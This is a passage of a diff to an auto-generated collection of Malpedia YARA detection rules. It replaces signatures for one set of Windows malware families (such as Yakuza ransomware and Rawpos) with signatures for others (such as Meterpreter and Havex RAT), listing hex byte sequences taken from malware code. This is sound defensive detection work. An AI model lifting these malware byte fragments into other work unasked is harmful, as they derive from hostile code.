"https://malpedia.caad.fkie.fraunhofer.de/details/win.xpertrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xpertrat_auto.yar#L1-L155" license_url = "N/A" - logic_hash = "73e72c498fc907fc6a73ed239a2f6863b09267af51df13ccdd17c0fe20abede8" + logic_hash = "aded1ec389d65d20277f2fe9db776abf2f31c80bf4b4d804698ab1524e2b5a6d" score = 75 quality = 75 tags = "FILE" @@ -86228,38 +86248,38 @@ rule MALPEDIA_Win_Dadstache_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b35???????? 85c9 7403 51 ffd6 a1???????? } - $sequence_1 = { 6a40 6a00 8d4620 c70600000000 c7460400000000 c7460800000000 } - $sequence_2 = { 57 6aff 6a00 8d4508 c74424240f000000 } - $sequence_3 = { 756c ff15???????? 53 53 8d4d08 } - $sequence_4 = { 83c404 85c0 7428 8bb30c020000 8bf8 } - $sequence_5 = { 57 8d4304 c6437401 50 53 c7070c000000 c7431400000000 } - $sequence_6 = { 314608 8b470c 8bf9 31460c 0f1006 } - $sequence_7 = { 8b45f4 c1e808 0fb6c0 894e04 8bcb c1e918 } - $sequence_8 = { 8b4604 8d7604 85c0 75ee b801000000 } - $sequence_9 = { 57 03c3 895508 33ff 8945fc } - $sequence_10 = { 8b55f4 8b4485b0 85d2 8b56f8 7405 0d00020000 } - $sequence_11 = { 8b06 85c0 7543 8b46f8 8945ec } - $sequence_12 = { 8955e0 0f2805???????? 8b703c 03f0 b801000000 } - $sequence_13 = { c745bc56697274 50 57 c745c075616c41 } - $sequence_14 = { 51 ff55f4 8bf8 85ff 0f8423ffffff } - $sequence_15 = { 56 ff7034 ffd7 8945f8 85c0 } + $sequence_0 = { ff08 40 0430 ff0a 4c 000c00 } + $sequence_1 = { 045c ff4d40 ff08 40 } + $sequence_2 = { 006c70ff 0808 008f38001b26 001b 0d002a2364 ff08 } + $sequence_3 = { 0870ff 0d80000700 0474 ff0478 } + $sequence_4 = { 0808 008a3800cc1c 5e 006c70ff 0808 008f38001b26 } + $sequence_5 = { ff05???????? 000d???????? 0878ff 0d98000700 6e } + $sequence_6 = { 6c 70ff 0808 008a3800cc1c } + $sequence_7 = { ff0a 250004003c 6c 70ff } + $sequence_8 = { ff15???????? 81c480000000 8d55c0 52 ff15???????? 8d4588 } + $sequence_9 = { ff15???????? 81c6a4000000 50 56 } + $sequence_10 = { ff15???????? 81e600020000 33c9 81fe00020000 } + $sequence_11 = { ff15???????? 81c608030000 8d45e8 56 } + $sequence_12 = { ff15???????? 81c608030000 8d8568ffffff 56 } + $sequence_13 = { ff15???????? 81e600200000 33d2 81fe00200000 } + $sequence_14 = { ff15???????? 81c480000000 8d8df8fcffff 51 } + $sequence_15 = { ff15???????? 833d????????00 7505 dc7dc0 } condition: - 7 of them and filesize < 580608 + 7 of them and filesize < 8560640 } -rule MALPEDIA_Win_Crat_Auto : FILE +rule MALPEDIA_Win_Meterpreter_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6875ef99-cb78-5d35-8902-45286f9925fd" + id = "a6f1771a-05aa-5edf-806e-8f4646e6de38" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crat_auto.yar#L1-L176" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meterpreter" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.meterpreter_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "6a558eedfed48b48235f564ba72a779c4c350ad31cd93998f4d10b79b9d23f07" + logic_hash = "b31b408f14a6efeb814ec89850c20aeb2f6b49daa7fba766082bcbe19d74b589" score = 75 quality = 75 tags = "FILE" @@ -86273,39 +86293,32 @@ rule MALPEDIA_Win_Crat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 488bd0 488d8d78010000 e8???????? 90 } - $sequence_1 = { 488bd0 488d8d38030000 e8???????? 90 } - $sequence_2 = { e8???????? 488bd0 488d8d28010000 e8???????? 90 } - $sequence_3 = { e8???????? 488bd0 488d4d90 e8???????? 90 488bd0 } - $sequence_4 = { e8???????? 488bd0 488d8db8000000 e8???????? 90 } - $sequence_5 = { e8???????? 488bd0 488d8d40010000 e8???????? 90 } - $sequence_6 = { e8???????? 488bd0 488d8de8000000 e8???????? 90 } - $sequence_7 = { ebd0 498bc4 48833d????????10 480f4305???????? 482bc8 } - $sequence_8 = { 33d2 c1e902 f7f1 eb02 } - $sequence_9 = { ffd0 85c0 750f ff15???????? 83f87a } - $sequence_10 = { 52 8b01 ff5004 c645fc08 8bcf 8b5648 } - $sequence_11 = { 2b460c f20f114dc0 83f810 7d0d 51 } - $sequence_12 = { 50 e8???????? 83c404 e8???????? 33d2 f7f7 81c2e8030000 } - $sequence_13 = { 52 8b01 ff5004 c645fc07 8bcf 8b5640 } - $sequence_14 = { 52 8b01 ff5004 c645fc06 8bcf 8b563c 83ea10 } - $sequence_15 = { 2b4624 83f810 7d09 51 } - $sequence_16 = { 3855e3 7408 8b4dd8 8b55dc eb04 8bce 33d2 } + $sequence_0 = { 7b5d c7400800000000 8b561c c7420c00000000 } + $sequence_1 = { c07d14eb 8b542472 8cd0 f733 ce } + $sequence_2 = { 56 e8???????? 85d9 f5 } + $sequence_3 = { e04f 1089471c8b8e 48 e600 00ee } + $sequence_4 = { 0000 68ffff0000 52 ffd7 8b2410 } + $sequence_5 = { 02c0 8bf7 b94c000061 f3ab 8b4573 8b4d0c 8bbdfc89068b } + $sequence_6 = { 57 57 897810 57 } + $sequence_7 = { 8d919248b299 40 93 49 722f } + $sequence_8 = { 8b3c87 1485 c9 896375 8b3b } + $sequence_9 = { d040f3 27 c0eb80 d440 0075cc b8???????? } condition: - 7 of them and filesize < 4161536 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Yakuza_Ransomware_Auto : FILE +rule MALPEDIA_Win_Havex_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0616b0d8-21b8-54e6-81ea-ef91fe1745e9" + id = "f3fbb0af-43ac-5647-9a79-89548fc57d3c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yakuza_ransomware" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yakuza_ransomware_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.havex_rat_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "406ad1bef978847d25a0a40830a76c5748a247c44dcea0c0fe72a568e851fc77" + logic_hash = "9d2eae0c4a7abc70e6bf5636f95e7cb91a062b9062076188516a0129d3184ea5" score = 75 quality = 75 tags = "FILE" @@ -86319,32 +86332,32 @@ rule MALPEDIA_Win_Yakuza_Ransomware_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c404 c645fc5b 56 8bd0 8d8d20fbffff e8???????? } - $sequence_1 = { e8???????? 8d8520ffffff 83bd34ffffff08 0f438520ffffff 8d8dd8fbffff 51 } - $sequence_2 = { 50 e8???????? 0fb74c242c 8d7f02 83c414 85c0 b8ffff0000 } - $sequence_3 = { e9???????? c3 8b4568 83e002 0f840c000000 836568fd 8d4d48 } - $sequence_4 = { e9???????? c3 8b4dec 81c180000000 e9???????? 8b4d08 83c104 } - $sequence_5 = { 0fb6c9 0fb689409c4d00 3304cdd2735400 8b4df8 8b55fc 8b4c8a08 c1e900 } - $sequence_6 = { e8???????? 84c0 0f84d0010000 8d8d54f6ffff e8???????? 8bf0 89b5d4f1ffff } - $sequence_7 = { e8???????? c745fc00000000 8b4e24 85c9 7466 8b01 8d55dc } - $sequence_8 = { ff7508 8d45a8 50 8d4de0 e8???????? 8bf0 8d4e04 } - $sequence_9 = { 50 c745ac00000000 c745b007000000 e8???????? 837f1408 8bc7 7202 } + $sequence_0 = { 56 50 51 ff15???????? 68???????? 8d4dd8 8bf0 } + $sequence_1 = { 83c8ff 2b4560 3bd8 7601 49 42 ebe4 } + $sequence_2 = { 8d5c242c 89642428 8938 897808 89780c 897810 } + $sequence_3 = { 8b4508 c9 c3 3b442404 741c 56 8d7004 } + $sequence_4 = { 8d8e94c90000 8955d8 0fb69002010000 0fb638 c1e210 0bd7 8951fc } + $sequence_5 = { 8d4d88 0f9445c3 c645fc05 e8???????? 385dc3 7507 } + $sequence_6 = { e8???????? ff75ec 8d450c ff75e8 8bce 50 8b4508 } + $sequence_7 = { 6a01 50 ff7514 8d44243c ff7510 50 57 } + $sequence_8 = { 83c104 ff4df8 837df800 7fe3 8b75e0 } + $sequence_9 = { ff7004 ff15???????? 8bd8 83fb02 7504 32c0 eb2f } condition: - 7 of them and filesize < 2811904 + 7 of them and filesize < 892928 } -rule MALPEDIA_Win_Rawpos_Auto : FILE +rule MALPEDIA_Win_Younglotus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1ae7866b-5a11-5ecd-acc1-985240e6eeca" + id = "04c5b48c-c00c-5587-800f-b26c8ea57f39" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rawpos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rawpos_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.younglotus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.younglotus_auto.yar#L1-L171" license_url = "N/A" - logic_hash = "db91ad955030d7923a8e659a49a2b9f0e663571d73f741166c9c17758223d91f" + logic_hash = "0969f03b284985af7df0ddb5d516ceb371a29a3573bcea4b892c82226c445838" score = 75 quality = 75 tags = "FILE" @@ -86358,32 +86371,38 @@ rule MALPEDIA_Win_Rawpos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 59 85c0 757b 0fbe4604 50 e8???????? 59 } - $sequence_1 = { 8bf8 33c0 8a07 83f845 7c05 b845000000 83f83b } - $sequence_2 = { 5d c3 55 8bec 83c4dc 33c0 33d2 } - $sequence_3 = { e8???????? 83c408 85c0 0f842e070000 8b4520 8d4df4 50 } - $sequence_4 = { 8bc3 f7d8 83f803 750a bb08000000 e9???????? } - $sequence_5 = { 837df400 7507 8bf7 e9???????? 803f10 7526 } - $sequence_6 = { c646ff10 c60601 46 8a45d0 8806 46 } - $sequence_7 = { 8a13 80c2d3 80ea02 720f 80c2fe 80ea02 7207 } - $sequence_8 = { 53 8b4510 83c6ff 50 57 52 e8???????? } - $sequence_9 = { eb03 83c8ff 5f 5e 5b 59 5d } + $sequence_0 = { 6802000080 e8???????? 83c41c 6a01 } + $sequence_1 = { c745e800000000 c745fc00000000 837d0c03 754c 6a03 } + $sequence_2 = { 8945c8 68???????? 8b45c8 50 } + $sequence_3 = { 83c404 8b4de0 51 ff55dc } + $sequence_4 = { c745ec00000000 c745fc00000000 8b450c 50 8b4d08 51 8b55e8 } + $sequence_5 = { 50 8b8d9cfeffff 51 ff15???????? c785a0feffff00000000 } + $sequence_6 = { 8b8d5cfeffff 83c114 e8???????? c645fc01 8b8d5cfeffff 83c124 e8???????? } + $sequence_7 = { 8b4508 50 e8???????? 83c404 8945a0 837da000 } + $sequence_8 = { 53 56 57 68???????? ff15???????? 8945dc 68???????? } + $sequence_9 = { 8b703c 03f0 813e50450000 0f85e8000000 } + $sequence_10 = { 83f802 7503 33c0 c3 6a01 58 } + $sequence_11 = { e8???????? 83c41c 8d85e8feffff 6804010000 53 50 } + $sequence_12 = { 33f6 8975fc 397508 68ff010000 56 56 } + $sequence_13 = { 85c0 8945f4 7e49 6a04 53 50 } + $sequence_14 = { ff750c ff7508 50 e8???????? 8d430f 83c40c } + $sequence_15 = { bf00040000 57 8d85e4fbffff 53 50 e8???????? } condition: - 7 of them and filesize < 466944 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Darkcloud_Auto : FILE +rule MALPEDIA_Win_Mokes_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cd1b5f5a-7942-5b60-9ccf-fe3c4e2edece" + id = "b39bf037-fa7d-5a3c-86ca-2ed67b32fce6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkcloud_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mokes" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mokes_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "aa0d92530fd9200448b5bea8151df68481eaae78d40aef44b3313e13499f3f86" + logic_hash = "b9e014e60ad1f3bca1bf46f5b4621f6e946c48cba595440a4767fbc6ec5a2bfa" score = 75 quality = 75 tags = "FILE" @@ -86397,32 +86416,32 @@ rule MALPEDIA_Win_Darkcloud_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a00 68???????? 8d857cffffff 50 ff15???????? 8d8d7cffffff 51 } - $sequence_1 = { 8b9584feffff 52 8b8580feffff 50 ff15???????? 898568fdffff eb0a } - $sequence_2 = { 89952cffffff 6aff 8b45a8 50 8b4d08 8b11 52 } - $sequence_3 = { c7458c0a000000 c745a404000280 c7459c0a000000 c745b404000280 c745ac0a000000 8b45d8 } - $sequence_4 = { 83c418 c745fc11000000 ba???????? 8d4da0 ff15???????? 8d45a0 50 } - $sequence_5 = { 51 8d8544ffffff 52 50 ff15???????? } - $sequence_6 = { 8bd0 8d4d98 ff15???????? ba???????? 8d4dac ff15???????? 8b5598 } - $sequence_7 = { ff15???????? 8d4dc8 ff15???????? 8d4db8 ff15???????? c745fc0c000000 8b45d4 } - $sequence_8 = { 68???????? ff15???????? 8bd0 8d4da8 ff15???????? 8d4590 50 } - $sequence_9 = { 8d4d88 51 8d558c 52 8d4590 50 6a05 } + $sequence_0 = { f30f7f442438 8b442438 3b442428 751e 8b442440 3b442430 7514 } + $sequence_1 = { f20f5cd0 f20f58d1 f20f2cca 03c8 8d442430 894c2430 8b4c240c } + $sequence_2 = { ffb6c8010000 e8???????? 8b8e0c010000 8b4104 397808 7417 3b7808 } + $sequence_3 = { f6450801 56 8bf1 57 8b7e04 7423 8b0d???????? } + $sequence_4 = { ff742420 ba04000000 53 8d4a28 e8???????? 8b6c2420 8bf0 } + $sequence_5 = { ff5030 8b4004 f780e000000000000200 7404 c6432b01 807c241b00 8b5c2454 } + $sequence_6 = { ffd0 83c410 8b74240c 8b542418 8bca 8b7c241c 81c11ff9ef9e } + $sequence_7 = { f77e6c 89542420 8b450c 8b7004 807e7000 7407 8bce } + $sequence_8 = { ff74240c 889018020000 8b8e5c010000 e8???????? 80be9a02000000 7517 ff7604 } + $sequence_9 = { f6c310 7410 83e3ef 8d4c242c 895c2414 e8???????? c7442458ffffffff } condition: - 7 of them and filesize < 622592 + 7 of them and filesize < 18505728 } -rule MALPEDIA_Win_Unidentified_074_Auto : FILE +rule MALPEDIA_Win_Grok_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0e88fd75-1316-5da0-a27c-d979440b0d1c" + id = "b9ba5cb5-3752-5e96-9a74-900c3065fa33" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_074" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_074_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grok" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grok_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "efaf1ffd6b205d550b6e92c44f0056ae88e73af2fe4605531aaeb9c3b3bf90af" + logic_hash = "0c97c5be712250fba8ecf0a25a041d30466c220a206e99d1c5c73f4b7d759714" score = 75 quality = 75 tags = "FILE" @@ -86436,34 +86455,34 @@ rule MALPEDIA_Win_Unidentified_074_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4d0c 3bf1 752a 8b4614 83f808 7204 } - $sequence_1 = { 83f808 720d 40 50 ffb528e7ffff e8???????? } - $sequence_2 = { 8d8528e7ffff 50 8d8570e7ffff 50 8d85f8e6ffff 50 } - $sequence_3 = { 75f3 8bcf e8???????? 3bd0 } - $sequence_4 = { 8855ee 660f1f440000 0fb64435ec 50 51 } - $sequence_5 = { 33d2 8b4f10 33f6 c740140f000000 83781410 894ddc 8955e0 } - $sequence_6 = { 6800040000 8985f8f7ffff 8901 8d85fcfbffff } - $sequence_7 = { 8b85e0f7ffff 85c0 7407 50 ff15???????? 85ff } - $sequence_8 = { 8d4618 7202 8b00 837e1410 7202 8b36 6a00 } - $sequence_9 = { 8b853ce7ffff 83f808 720d 40 50 ffb528e7ffff } + $sequence_0 = { 3945f4 7308 8b4df4 c60100 ebe4 8b55f8 c7420900000000 } + $sequence_1 = { 8b8de0fdffff 8a11 8895dffdffff 8b85e4fdffff 3a10 7546 } + $sequence_2 = { 837d1004 7307 b8060200c0 eb0e 8b4508 8b403c c70030120000 } + $sequence_3 = { 0f8ca4000000 53 ff15???????? 8b0d???????? 3b01 8b3d???????? } + $sequence_4 = { 0f85a2000000 681c010000 8d85c8feffff 50 6a00 8b4d08 51 } + $sequence_5 = { 8975dc ff15???????? 85c0 8b1d???????? 7d11 be2a0000c0 ff75f8 } + $sequence_6 = { a1???????? 83c40c c780bc01000001000000 33c0 5f 5e 5d } + $sequence_7 = { b81a0000c0 eb5c 50 8d460a 56 50 e8???????? } + $sequence_8 = { b89a0000c0 eb51 8d45f8 50 ff75f8 56 6a01 } + $sequence_9 = { 85c0 0f842d010000 8b742410 8b3d???????? 6a00 6a10 6a01 } condition: - 7 of them and filesize < 335872 + 7 of them and filesize < 84992 } -rule MALPEDIA_Win_Flusihoc_Auto : FILE +rule MALPEDIA_Win_Redalpha_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "70e43055-e110-5f44-83f7-dea02c83279f" + id = "882ba549-5d0f-5044-9824-7266c16fd3e3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flusihoc" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flusihoc_auto.yar#L1-L170" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redalpha" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redalpha_auto.yar#L1-L286" license_url = "N/A" - logic_hash = "03055e982040b1f87a417ce4ea912aa6346f4a9287782a46033bfb1539ddc34d" + logic_hash = "6d0bc4e07b8bfd5d42ec13b7e486282bb3ab0b08b56807472d5876342a41efce" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -86475,38 +86494,52 @@ rule MALPEDIA_Win_Flusihoc_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 740b 40 8816 8a1408 46 } - $sequence_1 = { 8b442410 6aff 50 ff15???????? 8b4c2410 } - $sequence_2 = { 57 6a40 8d442428 6a00 50 c744242c44000000 e8???????? } - $sequence_3 = { f3a5 c684246402000000 e8???????? 68d6000000 } - $sequence_4 = { 7507 80864d01000004 83f822 7506 fe8e42010000 } - $sequence_5 = { 8bec 83e4f8 81ece40b0000 a1???????? 33c4 898424e00b0000 53 } - $sequence_6 = { 8d7c2428 50 f3a5 c684246401000000 } - $sequence_7 = { 33c0 888c045e010000 8a4c042c 40 } - $sequence_8 = { 8b8c24ec0b0000 5f 5e 5b 33cc 33c0 e8???????? } - $sequence_9 = { ff15???????? 8b4c2410 51 ffd6 8b542414 52 ffd6 } - $sequence_10 = { fe06 fe461e 3d68010000 7505 fe06 fe4e17 } - $sequence_11 = { 52 ffd6 6a0a ff15???????? } - $sequence_12 = { 8b8df4feffff 6804010000 8d85f8feffff 50 6a01 } - $sequence_13 = { 8b95f4feffff 52 ff15???????? 8b4dfc 33cd 33c0 } - $sequence_14 = { 51 6a00 ff15???????? 8d95f4feffff 52 6806000200 } - $sequence_15 = { 6a00 68???????? 6802000080 ff15???????? 85c0 752f } + $sequence_0 = { 83c40c c0e304 0fb6c3 50 68???????? } + $sequence_1 = { 68???????? 50 e8???????? 83c40c c0e304 } + $sequence_2 = { 8b4314 015330 ffd0 5f } + $sequence_3 = { 8b4310 ffd0 8945fc 85c0 } + $sequence_4 = { 488da998000000 458be0 4c8be9 488bfa 488d4d20 ff15???????? 488b4508 } + $sequence_5 = { 8785c8000000 488b8dd8000000 ff15???????? 488b8de0000000 ff15???????? 48c785d8000000ffffffff } + $sequence_6 = { 8b4328 8bcb 52 8b5310 } + $sequence_7 = { 89048b 488b4d58 418bc5 48c1e002 480101 } + $sequence_8 = { eb0e 48897da0 41bc13000000 48897da8 498b1e } + $sequence_9 = { d3eb 442bd9 400fb6d7 f6c210 753d 0f1f840000000000 } + $sequence_10 = { 8b430c ffd0 8d50ff 8b45fc 03f2 } + $sequence_11 = { e9???????? 488d5908 488d4b20 ff15???????? 488b4308 48894310 ba00040000 } + $sequence_12 = { 8b4328 52 8b5310 2b5604 } + $sequence_13 = { 8b4324 8975f8 8945dc 8b4328 } + $sequence_14 = { 48897db8 448865c0 4533c9 4533c0 33d2 33c9 } + $sequence_15 = { e8???????? 48c744243000000000 c744242880000000 c744242002000000 4533c9 4533c0 } + $sequence_16 = { 89441f05 8b85c0feffff 89441f09 8b85c4feffff } + $sequence_17 = { 6a00 6a00 8d8534ffffff c78514feffff08b94000 898518feffff 8d8514feffff } + $sequence_18 = { e8???????? 8b404c 83b8a800000000 7512 8b04bd30744100 807c302900 } + $sequence_19 = { 660fd60f 8d7f08 8b048d343b4000 ffe0 } + $sequence_20 = { 8bec 81ec1c010000 56 6880000000 8bf1 c745f8ff000000 6a00 } + $sequence_21 = { 8d44241c 50 8d442424 50 8d442418 } + $sequence_22 = { 8d45f4 8bcf 50 e8???????? 5f 5e 5b } + $sequence_23 = { 6a34 68???????? 57 ff15???????? 8bf0 85f6 7517 } + $sequence_24 = { ff15???????? 8bf8 85ff 7459 6a00 } + $sequence_25 = { c745dc03000000 eb7c c745e040314100 ebbb d9e8 8b4510 dd18 } + $sequence_26 = { 8b4710 8d044502000000 50 7219 } + $sequence_27 = { 50 f3a5 8d8574ffffff 8bca } + $sequence_28 = { c1fa06 8934b8 8bc7 83e03f 6bc830 8b0495581f4000 8b440818 } + $sequence_29 = { 7517 57 ff15???????? 5e 5f 8b4dfc } condition: - 7 of them and filesize < 319488 + 7 of them and filesize < 606208 } -rule MALPEDIA_Win_Echo_Gather_Auto : FILE +rule MALPEDIA_Win_Http_Troy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7335def2-506d-5260-8b0d-ff3650457aaa" + id = "95fd4364-0c49-5029-9362-b053f1981ad0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.echo_gather" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.echo_gather_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.http_troy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.http_troy_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "b9e20804863a93244aef376504c1242a73dc60c7321ec31adf915aed9161664d" + logic_hash = "f51f643b968f327406be07b32339103de989865626147227f095521c9d0409e5" score = 75 quality = 75 tags = "FILE" @@ -86520,32 +86553,32 @@ rule MALPEDIA_Win_Echo_Gather_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4989d9 4d89fc 488b5c2430 4c8b7c2438 4589f0 4183fe39 0f8451030000 } - $sequence_1 = { 488b45d8 4889c1 488b05???????? ffd0 e9???????? 8b45bc } - $sequence_2 = { 74c4 b920000000 e8???????? 8b4324 83c001 894324 4183ed01 } - $sequence_3 = { 48898424f8040000 488b842450040000 4889842400050000 66c78424e00400000000 e8???????? 4889c2 488b4d10 } - $sequence_4 = { 743f 48c1ea20 7539 4883eb01 4889da e8???????? 85c0 } - $sequence_5 = { 7561 4181fd7a000780 7409 4181fd26000780 75b4 } - $sequence_6 = { 0f94c0 84c0 744a 8b45ec 89c0 4889c2 b940000000 } - $sequence_7 = { 48c78424a800000011000000 c78424bc00000000000000 eb31 8b8424bc000000 4898 488b54c420 488b4510 } - $sequence_8 = { 488d8c2450010000 488d942450020000 488d842450030000 4989c8 4889c1 e8???????? } - $sequence_9 = { ba01000000 b9f1000000 e8???????? 488945f0 488b05???????? } + $sequence_0 = { 33c9 894c241d 8d443bfb 3be8 66894c2421 8bf5 c644241c00 } + $sequence_1 = { 895e70 899e90000000 895e74 750a 5e b800000100 } + $sequence_2 = { 8d442414 50 8d4c241c 51 6a00 6a00 6a00 } + $sequence_3 = { 33f1 33f0 03f3 8dbc37a9cfde4b 8bf7 c1e70b 8b5c2430 } + $sequence_4 = { e8???????? 83c418 ff7508 e8???????? 83c404 833d????????00 752c } + $sequence_5 = { 0bd3 4f 8956fc 75da } + $sequence_6 = { e8???????? 59 83e6fb e9???????? 84c3 0f84d8000000 f6451008 } + $sequence_7 = { 6802000080 c744242800000000 ff15???????? 8b542418 8d442408 } + $sequence_8 = { 8d8c2478010000 51 ffd6 b801000000 8b8c2414110000 e8???????? 5f } + $sequence_9 = { 6a00 68???????? e8???????? 8b54241c 83c404 50 52 } condition: - 7 of them and filesize < 246784 + 7 of them and filesize < 475136 } -rule MALPEDIA_Win_Applejeus_Auto : FILE +rule MALPEDIA_Win_Knot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c7de82bf-02e2-54ab-8e92-30ad8fa19555" + id = "3b476922-c990-533b-9ea2-55281d49e06f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.applejeus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.applejeus_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.knot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.knot_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "7da7577e0a48835aa3f87ca6b5019a6bd26bede335ed264656ca8273c5cb6ea4" + logic_hash = "9a4cc690c1caf46b1d80d5ed99f629971e8f9dd8073d7d2fdb62a67bbf85c7b7" score = 75 quality = 75 tags = "FILE" @@ -86559,32 +86592,32 @@ rule MALPEDIA_Win_Applejeus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bb540eeffff 56 ff15???????? 56 ffd7 ffb5e0edffff ffd7 } - $sequence_1 = { 8bc8 51 e8???????? 83c404 c7460800000000 c7460400000000 ff36 } - $sequence_2 = { 8b75e4 83c410 0bf0 c745d8d4b24500 8d45dc 50 e8???????? } - $sequence_3 = { 8bf8 ffd6 ffb5b0fdffff 8bb588feffff 8bc8 b8ed73484d } - $sequence_4 = { 897008 e8???????? 8d8dd8ecffff e8???????? 8d8dd4efffff e8???????? 6a64 } - $sequence_5 = { 6a08 c645fc16 e8???????? 83c404 8985e4f6ffff 898568f4ffff c700???????? } - $sequence_6 = { 0f84d3000000 8b048d74db4500 8985a4f8ffff 85c0 0f8498000000 83f801 0f84b5000000 } - $sequence_7 = { 8bf0 6a0c 8975e4 8975d0 0f114604 c706???????? f30f7e45c4 } - $sequence_8 = { 8885fcfcffff 8b85dcfcffff 041d 83f05c 8885fdfcffff 8b85dcfcffff } - $sequence_9 = { 8b4308 33ff 807e2c00 8945c4 0f842e010000 8b4808 0f57c0 } + $sequence_0 = { 85c0 7407 c685f3fdffff00 ebbe 0fb68df3fdffff 83f901 } + $sequence_1 = { ff15???????? 85c0 0f855ffdffff 8b958cf9ffff } + $sequence_2 = { 6a00 6a02 6a00 8b4df8 51 } + $sequence_3 = { 8bec 81ec24020000 e8???????? 8945fc c785ecfdffff02000000 } + $sequence_4 = { 7507 32c0 e9???????? 6a00 6a00 6a00 6a02 } + $sequence_5 = { 8d8dd0fdffff 51 6a08 8d95c8fdffff } + $sequence_6 = { 7454 6a00 6a00 6a00 6a04 8b55f4 52 } + $sequence_7 = { 83c40c 8985e8fdffff 8b8de8fdffff 898ddcfdffff 83bddcfdffff03 7402 } + $sequence_8 = { 6a00 6a00 6800000040 8d95e0fdffff } + 